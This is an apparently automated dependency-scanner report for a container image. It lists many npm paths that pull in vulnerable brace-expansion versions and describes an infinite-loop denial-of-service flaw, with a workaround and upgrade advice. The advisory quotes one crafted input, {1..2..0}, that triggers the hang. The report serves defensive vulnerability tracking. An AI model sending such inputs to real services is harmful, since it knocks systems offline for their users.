  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpublish@9.0.9 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1

Overview

brace-expansion is a Brace expansion as known from sh/bash

Affected versions of this package are vulnerable to Infinite loop through the expand function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as {1..2..0}. This can lead to significant resource consumption and denial of service.

Workaround

This vulnerability can be mitigated by sanitizing strings passed to expand to ensure a step value of 0 is not used.

Remediation

Upgrade brace-expansion to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.

References

More about this vulnerability

Inefficient Algorithmic Complexity

high severity
Exploit: Not Defined
  • Manifest file: docker.io/scopear/docker-scope-docs:20260604.90 › /app/package.json
  • Package Manager: npm
  • Vulnerable module: brace-expansion
  • Introduced through: rag-builder@1.0.0, glob@8.1.0 and others

Detailed paths

  • Introduced through: rag-builder@1.0.0 › glob@8.1.0 › minimatch@5.1.6 › brace-expansion@2.0.2
  • Introduced through: lib@* › npm@10.8.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/map-workspaces@3.0.6 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/map-workspaces@3.0.6 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/map-workspaces@3.0.6 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/config@8.3.4 › @npmcli/map-workspaces@3.0.6 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/map-workspaces@3.0.6 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/config@8.3.4 › @npmcli/map-workspaces@3.0.6 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/config@8.3.4 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
